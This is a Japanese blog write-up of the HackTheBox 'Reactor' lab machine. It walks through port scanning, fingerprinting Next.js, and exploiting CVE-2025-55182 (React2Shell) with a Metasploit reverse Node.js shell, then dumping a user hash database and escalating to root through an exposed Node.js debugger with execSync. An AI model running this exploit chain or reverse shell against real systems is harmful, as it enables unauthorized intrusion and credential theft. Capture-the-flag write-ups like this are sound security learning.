0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup: Reactor

0
Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Reactorです。

Reactorでは、React Server Componentsの脆弱性やNode.jsの権限昇格について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

## Portscan
##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-05 23:00 +0900
Nmap scan report for 10.129.16.107
Host is up (0.30s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_  256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000, 
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Fri, 05 Jun 2026 14:00:13 GMT
|     Connection: close
|     <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Fri, 05 Jun 2026 14:00:15 GMT
|     Connection: close
|   Help, NCP, RPCCheck: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.98%I=7%D=6/5%Time=6A22D66D%P=x86_64-pc-linux-gnu%r(Get
SF:Request,34BC,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-St
SF:ate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x20
SF:Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\r
SF:\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nCa
SF:che-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20171
SF:75\r\nDate:\x20Fri,\x2005\x20Jun\x202026\x2014:00:13\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta\
SF:x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\"
SF:/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/>
SF:<link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20h
SF:ref=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20s
SF:rc=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\"
SF:></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.j
SF:s\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOption
SF:s,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rout
SF:er-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch
SF:\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20no
SF:-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Fri,\
SF:x2005\x20Jun\x202026\x2014:00:15\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RS
SF:C,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-S
SF:egment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x2
SF:0private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\
SF:nDate:\x20Fri,\x2005\x20Jun\x202026\x2014:00:15\x20GMT\r\nConnection:\x
SF:20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Connection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.00 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、3000番ポートへHTTPアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2026-06-05 23.04.51.png

REACTORWATCHは、制御系システムに関するモニタリングシステムと思われます。

Next.js

レスポンスヘッダより、フロントエンドではNext.jsを使用していることが確認できます。

また、Webページを構成しているHTMLの以下タグを確認すると、517-d083b552e04dead1.jsのJSバンドル内にバージョン文字列が確認できます。

<script
  src="/_next/static/chunks/517-d083b552e04dead1.js"
  async=""
></script>

以下の様なコマンドを実行して、バージョン情報を確認すると、Next.jsの15.0.3バージョンを使用していることが分かりました。

$ curl -s http://10.129.16.107:3000/_next/static/chunks/517-d083b552e04dead1.js | grep -oP '(\d+\.\d+\.\d+)' | sort -u

15.0.3
19.0.0

脆弱性分析

使用しているNext.jsのバージョンに関する脆弱性を調べたところ2025年に話題になったCVE-2025-55182に関する脆弱性が確認できます。

Next.jsは、React Server Components(RSC)を標準的に採用し、実装している主要なフレームワークの一つです。従って、RSCに脆弱性がある場合、それを利用しているNext.jsも影響を受ける可能性が考えられます。

この脆弱性は、RSCのサーバー関数エンドポイントを介して、HTTPリクエストに含まれるデータを不適切に逆シリアル化し、特別に細工したデータを送信することで、認証なしでサーバ上で任意のコードを実行することができます。

システムハッキング

上記で発見したCVE-2025-55182の脆弱性を利用して、足場をつくります。

アクセスの獲得

msfconsoleを起動して、CVE-2025-55182を検索します。

msf > search CVE-2025-55182

Matching Modules
================

   #  Name                                                      Disclosure Date  Rank       Check  Description
   -  ----                                                      ---------------  ----       -----  -----------
   0  exploit/multi/http/react2shell_unauth_rce_cve_2025_55182  2025-12-03       excellent  Yes    Unauthenticated RCE in React Server Components (React2Shell)
   1    \_ target: Next.js - Unix Command                       .                .          .      .
   2    \_ target: Next.js - Windows Command                    .                .          .      .
   3    \_ target: Waku - Unix Command                          .                .          .      .
   4    \_ target: Waku - Windows Command                       .                .          .      .


Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/react2shell_unauth_rce_cve_2025_55182
After interacting with a module you can manually set a TARGET with set TARGET 'Waku - Windows Command'

モジュールを設定します。

msf > use 0

[*] Using configured payload cmd/unix/reverse_nodejs
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > 

必要なオプションを設定します。

msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set rhosts 10.129.16.107
rhosts => 10.129.16.107
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set rport 3000
rport => 3000
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set lhost REDACTED
lhost => REDACTED

exploitコマンド実行後、リバースシェルが取得できます。

msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > exploit
[*] Started reverse TCP handler on REDACTED:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (REDACTED:4444 -> 10.129.16.107:37860) at 2026-06-05 23:43:47 +0900

id
uid=999(node) gid=988(node) groups=988(node)

ユーザーフラグ

ホームディレクトリを確認すると、engineerユーザーを発見しました。

ls -l /home/
total 8
drwxr-x--- 4 engineer engineer 4096 May 20 10:12 engineer
drwxr-x--- 2 node     node     4096 May 18 11:40 node

カレントは、アプリケーションのディレクトリです。

pwd
/opt/reactor-app

lsコマンドの結果より、データベースファイルが見つかりました。

ls -l
total 60
drwxr-xr-x  2 node node  4096 Dec 28 20:47 app
-rw-r--r--  1 node node   172 Dec 28 20:47 next.config.js
drwxr-xr-x 30 node node  4096 Dec 28 20:47 node_modules
-rw-r--r--  1 node node   269 Dec 28 20:47 package.json
-rw-r--r--  1 node node 29329 Dec 28 20:47 package-lock.json
-rw-r-----  1 node node 12288 Dec 28 21:03 reactor.db

sqlite3を使用して、データベースファイルを確認すると、興味深いテーブルが見つかります。

sqlite3 reactor.db
.tables
sensor_logs  users 

usersテーブルを確認すると、MD5形式でハッシュ化されたパスワードを発見しました。

.header on
.mode column
select * from users;
id  username  password_hash                     role           email               
--  --------  --------------------------------  -------------  --------------------
1   admin     a203b22191d744a4e70ada5c101b17b8  administrator  admin@reactor.htb   
2   engineer  REDACTED                          operator       engineer@reactor.htb

取得したパスワードを利用して、SSHログインを行います。

$ ssh engineer@<Ip address>

ホームディレクトリより、ユーザーフラグが確認できます。

total 4
-rw-r----- 1 root engineer 33 Jun  3 13:14 user.txt

ルートフラグ

psコマンドの結果から、root権限で動作している興味深いプロセスが見つかります。

root        1392  0.0  1.1 1066408 46760 ?       Ssl  13:50   0:00 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

ssコマンドでも確認を行ったところ、nodeで実行されているプロセスは、ローカルのみリッスンしています。

State                 Recv-Q                Send-Q                               Local Address:Port                               Peer Address:Port               Process                
LISTEN                0                     511                                      127.0.0.1:9229                                    0.0.0.0:*                                         
LISTEN                0                     4096                                    127.0.0.54:53                                      0.0.0.0:*                                         
LISTEN                0                     4096                                 127.0.0.53%lo:53                                      0.0.0.0:*                                         
LISTEN                0                     4096                                       0.0.0.0:22                                      0.0.0.0:*  

sshポートフォワーディングを実行後、デバッグモードで起動します。

$ node inspect 127.0.0.1:9229

connecting to 127.0.0.1:9229 ... ok
debug> exec("process.getuid()")
0

以下のコマンドを実行して、ルートフラグを読み取ることができます。

debug> exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")
'REDACTED\n'

おわりに

CVE-2025-55182の脆弱性は、CWE-502に該当します。

外部から送られてきた信頼できないデータをそのまま解析及び復元してしまうことが、攻撃を許す直接的な原因です。

この脆弱性は、React2Shellとも呼ばれ、すでにハッカー集団によって悪用されていることが報告されています。

参考

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?